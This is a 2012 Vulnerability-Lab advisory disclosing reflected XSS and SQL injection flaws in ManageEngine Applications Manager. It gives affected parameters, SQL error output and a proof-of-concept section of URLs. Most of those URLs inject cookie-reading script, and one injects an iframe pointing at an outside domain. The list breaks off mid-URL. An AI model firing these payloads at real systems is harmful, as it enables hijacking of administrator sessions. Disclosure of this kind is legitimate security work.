Title: ====== ME Monitoring Manager v9.x; v10.x - Multiple Vulnerabilities Date: ===== 2012-01-27 References: =========== http://www.vulnerability-lab.com/get_content.php?id=115 VL-ID: ===== 115 Introduction: ============= Mit dem ManageEngine Applications Manager können IT-Administratoren von Unternehmen und Datenzentrumsgruppen die Leistung ihrer heterogenen Applikationen von einer einzigen Web-Konsole aus überwachen, bei Problemen Alarme empfangen, Fehler suchen bzw. diagnostizieren, Tendenzen analysieren und Kapazitäten mit Hilfe umfassender Reports planen. Um den verschiedenen Ansprüchen aller Administratoren gerecht zu werden, unterstützt der Applications Manager wichtige Produkte. Diese sind in drei Kategorien aufgeteilt: Die Funktionalität „Application Server Monitoring“ bietet detailierte Informationen zu häufig verwendeter Software, wie z.B. Java/J2EE, Microsoft .NET, Oracle Application Server und Tomcat. Von diesen Diensten hängen wiederum viele Anwendungen ab, so dass die Sicherung der Stabilität dieser Application Server essentiell ist. Auf der Seite der Datenbanken werden Protokolle und administrative Informationen zu gängige Produkten, wie Oracle Datenbanken, MySQL und DB2 abgefragt und können direkt nach Abfrage Benachrichtigungen auslösen. Dies hilft einzuschreiten, bevor kritische Zustände erreicht werden. Schlussendlich vervollständigt „System Management“ die drei Kategorien, da neben den Applikationen und Datenbanken auch die Schicht darunter, die Betriebssysteme vom Applications Manager überwacht werden. Dabei spielt es keine Rolle, ob Sie zum Beispiel Microsoft Windows, diverse Linux Distributionen oder Mac OS verwenden. (Copy of the Vendor Homepage: http://www.manageengine.com/) Abstract: ========= Vulnerability-Lab Team discovered multiple Vulnerabilities on Application Monitoring Manager by ManageEngine. Report-Timeline: ================ 2011-08-01: Vendor Notification 2011-**-**: Vendor Response/Feedback 2011-**-**: Vendor Fix/Patch 2012-01-27: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= High Details: ======== 1.1 Multiple non-persistent input validation vulnerabilities are detected (client-side). Attackers can hijack customer/admin sessions via cross site scripting. Vulnerable Module(s): [+] ThresholdActionConfiguration [+] PopUp_Graph [+] Showresource Picture(s): ../1.png ../2.png ../3.png 1.2 Multiple SQl Injection vulnerabilities are detected on the alert module & the ?periods parameter request. Vulnerable Param(s): [+] ?periods --- SQL Error Logs --- Syntax error or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near root at line 1 ; nested exception is: java.sql.SQLException: Syntax error or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near root at line 1 Syntax error or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near root at line 1 ; nested exception is: java.sql.SQLException: Syntax error or access violation message from server: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near root at line 1 Picture(s): ../4.png ../5.png Proof of Concept: ================= The vulnerabilities can be exploited by remote attackers. For demonstration or reproduce ... 1.1 Path: /jsp/ File: ThresholdActionConfiguration.jsp Para: ?resourceid=10000579&attributeIDs=1902&attributeToSelect=1902&redirectto= Path: ../jsp/ File: PopUp_Graph.jsp Para: ?restype=QueryMonitor&&monID=10000499&resids=10003726&baseid=10000011&attids=10000113&listsize=1&attName= Path: ../ File: showresource.do Para: showresource.do?method=showResourceTypes&network= References: http://xxx.com/Search.do?query=%3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221&domain=all http://xxx.com/jsp/ThresholdActionConfiguration.jsp?resourceid=10000579&attributeIDs=1902&attributeToSelect=1902 &redirectto=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221 http://xxx.com/showHistoryData.do?method=getData&resourceid=10000054&attributeid=711&period=%3E%22%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221 http://xxx.com/showresource.do?method=showResourceTypesAll&group=All&selectedNetwork= %3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221 http://xxx.com/fault/AlarmView.do?displayName=All%20Alerts&viewId=Alerts.5&header= %3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221 http://xxx.com/showresource.do?method=showResourceTypes&direct=true&network=%3E%22 %3Cscript%3Ealert(document.cookie)%3C/script%3E%3Cdiv%20style=%221&detailspage=true&listview=true http://xxx.com/showresource.do?method=showResourceTypes&network=%3E%22 %3Ciframe%20src=http://global-evolution.info%3E&detailspage=true http://xxx.com/jsp/PopUp_Graph.jsp?restype=QueryMonitor&&monID=10000499&resids=10003726&baseid=10000011&attids=10000113&listsize=1&attName=%3E%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%3Cdiv+style%3D%221 http://xxx.com/fault/AMAlarmView.do?displayName=Traps Received&monitor= http://xxx.com/showresource.do?method=showResourceTypes&detailspage=true&group=>"